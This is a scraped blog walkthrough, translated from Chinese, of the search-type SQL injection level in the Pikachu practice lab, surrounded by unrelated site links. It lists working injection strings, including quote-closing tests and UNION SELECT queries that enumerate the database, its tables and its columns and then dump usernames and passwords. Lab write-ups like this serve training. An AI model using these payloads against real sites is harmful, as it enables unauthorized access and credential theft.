当前位置:网站首页>Pikachu shooting range SQL injection search injection clearance steps
Pikachu shooting range SQL injection search injection clearance steps
2022-07-23 07:04:00 【Chang Jiazhuang】
Pikachu shooting range -SQL Inject - Search injection clearance steps
First of all, understand MySQL Database fuzzy search statement ,like ‘ often %’、like ‘% often ’、like ‘% often %’ These are , I won't go into detail here
Determine the injection point
I don't know how to write code. You can try the following statements
This is about the search injection statement I use :
v%’ and -1=-1 – bbq
Search type injection statements found on the Internet :
‘and 1=1 and ‘%’=’
%’ and 1=1–’
%’ and 1=1 and ‘%’=’
An error is reported when the single quotation mark is closed , This probably means %xx%、xx% Well 
Go directly to the process diagram , Can't see clearly, click the picture to zoom in :
Determine how many fields there are
It's closed 4 individual , Move the picture up :
Show obvious dislocation

Querying the current database
version() Check the database version ,database() View the current database
v%' union select version(),database(),33 -- bbq

Query all tables in the database
If there are many tables, the page display is incomplete , have access to LIMIT Page by page , You can also use group_concat() The splicing function wraps the displayed field names for display
v%' union select table_name,22,33 from information_schema.tables where table_schema=database() -- bbq

Query the column names in the specified table
The next step to query the table name is , The query field is the column name
v%' union select column_name,22,33 from information_schema.columns where table_schema='pikachu' and table_name='users' -- bbq

Query data
After the above steps , Already know the database name 、 Table name 、 Field name , Then we can query the data we need
v%' union select username,password,33 from users -- bbq

边栏推荐
猜你喜欢

The synchronized lock that I have been wondering about is so simple!

Combing the docking process between the integration base and the business system

Redis增强

《STL适配器》stack和queue

第六章 更多监督训练

Pikachu靶场-SQL注入-搜索型注入过关步骤
![swing-[MyNote]-实现像IDEA一样的定位scroll from souce功能](/img/ee/53aae922d7a4b3df3871a3e997cc57.png)
swing-[MyNote]-实现像IDEA一样的定位scroll from souce功能

OpenCV-一维频域滤波器

【MATLAB项目实战】基于SPI指数的某地区地区干旱时空特征分析

第七章 其他神经网络类型
随机推荐
(ros_melody) using rviz for boundingbox visualization
Swing-[mynote]- realize the function of positioning scroll from cause like idea
472-82(22、165、39、剑指 Offer II 078、48. 旋转图像)
关注公众号免费领取小米移动电源是真的吗?微信朋友圈送小米移动电源
Exercises in Chapter II of intensive learning
Feign remote call lost request header problem solution
第八章 使用时序数据
面试官:大量请求 Redis 不存在的数据,从而影响数据库,该如何解决?
华泰证券股票开户怎么样安全吗
Understand JS prototype and prototype chain in one article
Simple face detection using mediapipe and opencv
华为昇腾比赛资料
let和const解决了什么问题,两者的区别
电磁场与电磁波实验四 熟悉CST Studio软件在电磁领域的应用
How to calculate the time-consuming code gracefully? (glory Collection Edition)
GB28181流媒体服务LiveGBS使用和二次开发中常见问题总结
In the name of "upgrade", talk about the core technology of cloud native data warehouse analyticdb
力扣每日一题-第42天-171. Excel表列序号
《STL適配器》stack和queue
One type and six methods of urllib